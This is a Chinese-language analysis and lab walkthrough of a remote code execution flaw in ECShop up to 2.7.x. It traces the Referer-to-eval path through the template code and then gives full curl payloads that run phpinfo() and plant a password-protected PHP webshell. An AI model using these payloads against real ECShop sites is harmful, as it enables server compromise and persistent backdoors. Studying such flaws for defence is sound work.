ECShop <= 2.7.x 全系列版本远程代码执行高危漏洞利用
2018年9月1日,阿里云态势感知发布预警,近日利用ECShop全系列版本的远程代码执行漏洞进行批量化攻击量呈上升趋势,该漏洞可直接导致网站服务器沦陷,黑客可通过WEB攻击直接获得服务器权限,利用简单且危害较大。因此,阿里云安全专家提醒ECShop系统用户及时进行修复。 —— ECShop全系列版本远程代码执行高危漏洞分析
本文我们将使用 VulnSpy 的在线 ECSHOP 环境对漏洞进行复现和利用演示。
点击右上方 START TO HACK
按钮创建在线实验环境
漏洞分析
漏洞分析部分转载自:预警| ECShop全系列版本远程代码执行高危漏洞 阿里云WAF已可防御
该漏洞产生的根本原因在于ECShop系统的user.php文件中,display函数的模板变量可控,导致注入,配合注入可达到远程代码执行的效果。使得攻击者无需登录等操作,直接可以获得服务器的权限。
首先从user.php文件入手,代码中可以看到,系统读取HTTP_REFERER传递过来的内容赋值给$back_act变量。接着以$back_act的值为参数,调用assign方法。
文件:/user.php
/* 用户登录界面 */
elseif ($action == 'login')
{
if (empty($back_act))
{
if (empty($back_act) && isset($GLOBALS['_SERVER']['HTTP_REFERER']))
{
$back_act = strpos($GLOBALS['_SERVER']['HTTP_REFERER'], 'user.php') ? './index.php' : $GLOBALS['_SERVER']['HTTP_REFERER'];
}
else
{
$back_act = 'user.php';
}
}
$captcha = intval($_CFG['captcha']);
if (($captcha & CAPTCHA_LOGIN) && (!($captcha & CAPTCHA_LOGIN_FAIL) || (($captcha & CAPTCHA_LOGIN_FAIL) && $_SESSION['login_fail'] > 2)) && gd_version() > 0)
{
$GLOBALS['smarty']->assign('enabled_captcha', 1);
$GLOBALS['smarty']->assign('rand', mt_rand());
}
$smarty->assign('back_act', $back_act);
$smarty->display('user_passport.dwt');
}
assign方法的作用是把可控变量传递给模版函数,紧接着再通过display方法展示到页面上。
文件:/includes/cls_template.php
/**
* 注册变量
*
* @access public
* @param mix $tpl_var
* @param mix $value
*
* @return void
*/
function assign($tpl_var, $value = '')
{
if (is_array($tpl_var))
{
foreach ($tpl_var AS $key => $val)
{
if ($key != '')
{
$this->_var[$key] = $val;
}
}
}
else
{
if ($tpl_var != '')
{
$this->_var[$tpl_var] = $value;
}
}
}
/**
* 显示页面函数
*
* @access public
* @param string $filename
* @param sting $cache_id
*
* @return void
*/
function display($filename, $cache_id = '')
{
$this->_seterror++;
error_reporting(E_ALL ^ E_NOTICE);
$this->_checkfile = false;
$out = $this->fetch($filename, $cache_id);
if (strpos($out, $this->_echash) !== false)
{
$k = explode($this->_echash, $out);
foreach ($k AS $key => $val)
{
if (($key % 2) == 1)
{
$k[$key] = $this->insert_mod($val);
}
}
$out = implode('', $k);
}
error_reporting($this->_errorlevel);
$this->_seterror--;
echo $out;
}
接下来跟进display内部的insert_mod方法。
文件:/includes/cls_template.php
function insert_mod($name) // 处理动态内容
{
list($fun, $para) = explode('|', $name);
$para = unserialize($para);
$fun = 'insert_' . $fun;
return $fun($para);
}
insert_mod
方法返回了一个动态函数调用,该函数名和参数均可控,根据攻击者的利用方法,我们可以得知调用的函数名为insert_ads
,接下来跟进这一方法。
文件:/includes/lib_insert.php
/**
* 调用指定的广告位的广告
*
* @access public
* @param integer $id 广告位ID
* @param integer $num 广告数量
* @return string
*/
function insert_ads($arr)
{
static $static_res = NULL;
$time = gmtime();
if (!empty($arr['num']) && $arr['num'] != 1)
{
$sql = 'SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, ' .
'p.ad_height, p.position_style, RAND() AS rnd ' .
'FROM ' . $GLOBALS['ecs']->table('ad') . ' AS a '.
'LEFT JOIN ' . $GLOBALS['ecs']->table('ad_position') . ' AS p ON a.position_id = p.position_id ' .
"WHERE enabled = 1 AND start_time <= '" . $time . "' AND end_time >= '" . $time . "' ".
"AND a.position_id = '" . $arr['id'] . "' " .
'ORDER BY rnd LIMIT ' . $arr['num'];
$res = $GLOBALS['db']->GetAll($sql);
}
...//ignore
$position_style = 'str:' . $position_style;
$need_cache = $GLOBALS['smarty']->caching;
$GLOBALS['smarty']->caching = false;
$GLOBALS['smarty']->assign('ads', $ads);
$val = $GLOBALS['smarty']->fetch($position_style);
$GLOBALS['smarty']->caching = $need_cache;
return $val;
}
不难发现,$arr['id']和$arr['num']这两个变量,都是外部可控的输入点,在构造攻击向量的过程中执行的SQL语句如下。
接着,程序调用了fetch方法,参数由$row['position_style']变量赋值,这一变量同样为外部可控输入点。
文件:/includes/lib_insert.php
$position_style = 'str:' . $position_style;
$need_cache = $GLOBALS['smarty']->caching;
$GLOBALS['smarty']->caching = false;
$GLOBALS['smarty']->assign('ads', $ads);
$val = $GLOBALS['smarty']->fetch($position_style);
$GLOBALS['smarty']->caching = $need_cache;
return $val;
这里fetch函数调用了危险函数,这就是最终触发漏洞的点。但是参数在传递之前要经过fetch_str
方法的处理。
文件:/includes/cls_template.php
function fetch($filename, $cache_id = '')
{
if (!$this->_seterror)
{
error_reporting(E_ALL ^ E_NOTICE);
}
$this->_seterror++;
if (strncmp($filename,'str:', 4) == 0)
{
$out = $this->_eval($this->fetch_str(substr($filename, 4))); //漏洞点
}
...//ignore
}
最终输入点依次经过fetch_str、select、get_val,最终传入make_var方法。
文件:/includes/cls_template.php
function make_var($val)
{
if (strrpos($val, '.') === false)
{
if (isset($this->_var[$val]) && isset($this->_patchstack[$val]))
{
$val = $this->_patchstack[$val];
}
$p = '$this->_var[\'' . $val . '\']';
}
else
{
$t = explode('.', $val);
$_var_name = array_shift($t);
if (isset($this->_var[$_var_name]) && isset($this->_patchstack[$_var_name]))
{
$_var_name = $this->_patchstack[$_var_name];
}
if ($_var_name == 'smarty')
{
$p = $this->_compile_smarty_ref($t);
}
else
{
$p = '$this->_var[\'' . $_var_name . '\']';
}
foreach ($t AS $val)
{
$p.= '[\'' . $val . '\']';
}
}
return $p;
}
最终传递到eval的字符串为:
到此,漏洞原理分析完成,攻击者的恶意代码执行成功。
漏洞利用演示
1. 点击右上方 START TO HACK
按钮创建 ECShop实验环境
2. 创建完成后打开 ECSHOP 实验地址
3. 发送 Payload 执行 phpinfo();
*将**.vsplate.me换成您的实验地址
在终端中执行:
curl http://***.vsplate.me/user.php -d 'action=login&vulnspy=phpinfo();exit;' -H 'Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:"id";s:3:"'"'"'/*";s:3:"num";s:201:"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:4:"name";s:3:"ads";}554fcae493e564ee0dc75bdf2ebf94ca'
4. 发送 Paylod 写入 webshell
在终端中执行:
curl http://***.vsplate.me/user.php -d 'action=login&vulnspy=eval(base64_decode($_POST[d]));exit;&d=ZmlsZV9wdXRfY29udGVudHMoJ3Z1bG5zcHkucGhwJywnPD9waHAgZXZhbCgkX1JFUVVFU1RbdnVsbnNweV0pOz8%2BJyk7' -H 'Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:"id";s:3:"'"'"'/*";s:3:"num";s:201:"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:4:"name";s:3:"ads";}554fcae493e564ee0dc75bdf2ebf94ca'
vulnspy@vsplate:~$ curl http://***.vsplate.me/user.php \
-d 'action=login&vulnspy=eval(base64_decode($_POST[d]));exit;&d=ZmlsZV9wdXRfY29udGVudHMoJ3Z1bG5zcHkucGhwJywnPD9waHAgZXZhbCgkX1JFUVVFU1RbdnVsbnNweV0pOz8%2BJyk7' \
-H 'Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:"id";s:3:"'"'"'/*";s:3:"num";s:201:"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:4:"name";s:3:"ads";}554fcae493e564ee0dc75bdf2ebf94ca'
{$
5. 成功获取webshell
执行成功后会自动生成 http://***.vsplate.me/vulnspy.php
文件,密码为 vulnspy
。
访问:http://***.vsplate.me/vulnspy.php?vulnspy=phpinfo();
参考
原文链接:http://www.vulnspy.com/cn-ecshop-2.7.x-rce-exploit/ecshop_%3C=_2.7.x_%E5%85%A8%E7%B3%BB%E5%88%97%E7%89%88%E6%9C%AC%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E9%AB%98%E5%8D%B1%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8/